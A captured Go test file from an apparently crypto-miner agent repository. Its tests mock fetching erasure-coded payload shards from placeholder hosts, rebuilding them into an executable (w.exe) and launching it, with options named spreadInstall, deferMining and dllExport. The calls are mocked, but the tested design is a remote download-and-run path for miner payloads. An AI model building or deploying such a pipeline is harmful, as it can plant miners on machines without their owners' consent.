c3a9cda7d5
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Adds missing client methods, VPC seeder badges, hospice strain UI, and uiHelp drift keys so server/web builds and all 849 Vitest tests pass.
94 lines
2.5 KiB
Go
94 lines
2.5 KiB
Go
package deploy
|
|
|
|
import (
|
|
"strings"
|
|
"testing"
|
|
|
|
"crypto-miner-agent/config"
|
|
|
|
"github.com/klauspost/reedsolomon"
|
|
)
|
|
|
|
func TestRunSSMDocumentFetchMockOrder(t *testing.T) {
|
|
var order []string
|
|
SetSSMDocumentHTTPGetForTest(func(url string) ([]byte, error) {
|
|
order = append(order, url)
|
|
return []byte("ok"), nil
|
|
})
|
|
defer SetSSMDocumentHTTPGetForTest(nil)
|
|
|
|
plan := SSMDocumentFetchPlan{
|
|
ManifestURL: "https://deck.example/api/v1/public/erasure-torrent/tok/manifest",
|
|
ShardURLs: []string{
|
|
"https://d111111.cloudfront.net/shards/tok/0",
|
|
"https://d111111.cloudfront.net/shards/tok/1",
|
|
},
|
|
FallbackURL: "https://deck.example/get?os=linux",
|
|
}
|
|
got, err := RunSSMDocumentFetch(plan)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if len(got) != 4 || len(order) != 4 {
|
|
t.Fatalf("fetched=%v order=%v", got, order)
|
|
}
|
|
if !strings.Contains(order[0], "manifest") || !strings.Contains(order[3], "/get?") {
|
|
t.Fatalf("order=%v", order)
|
|
}
|
|
}
|
|
|
|
func TestExecuteDeployPlanSSMDocumentErasureMock(t *testing.T) {
|
|
payload := []byte("ssm-document-erasure")
|
|
p := erasureParams{DataShards: 2, ParityShards: 1}
|
|
enc, err := reedsolomon.New(p.DataShards, p.ParityShards)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
shards, err := enc.Split(payload)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if err := enc.Encode(shards); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
plan := DeployPlanBody{
|
|
JoinLane: "ssm_document",
|
|
Action: "ssm_document",
|
|
ErasurePlan: &ErasurePlanBody{
|
|
Enabled: true, Scheme: erasureSchemeReedSolomonV1,
|
|
DataShards: p.DataShards, ParityShards: p.ParityShards,
|
|
PayloadSHA256: hexSHA256(payload), PayloadSize: len(payload),
|
|
ShardToken: "ssm-tok", Dest: t.TempDir() + `\w.exe`, Launch: "exe",
|
|
},
|
|
}
|
|
for i := range shards {
|
|
plan.ErasurePlan.Shards = append(plan.ErasurePlan.Shards, ErasureShardRef{
|
|
Index: i, Lane: "ssm_document", URL: "mock://s3/" + string(rune('a'+i)),
|
|
})
|
|
}
|
|
prevFetch := erasureFetchFn
|
|
erasureFetchFn = func(url string) ([]byte, error) {
|
|
for i, ref := range plan.ErasurePlan.Shards {
|
|
if ref.URL == url {
|
|
return shards[i], nil
|
|
}
|
|
}
|
|
return nil, nil
|
|
}
|
|
defer func() { erasureFetchFn = prevFetch }()
|
|
prevLaunch := erasureLaunchFn
|
|
erasureLaunchFn = func(dest, launch, dllExport string, deferMining, spreadInstall bool) (string, error) {
|
|
return "ssm ok", nil
|
|
}
|
|
defer func() { erasureLaunchFn = prevLaunch }()
|
|
|
|
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{ErasureLanesEnabled: true}}
|
|
msg, err := ExecuteDeployPlan(cfg, plan)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if !strings.Contains(msg, "erasure_lanes:") {
|
|
t.Fatalf("msg=%q", msg)
|
|
}
|
|
}
|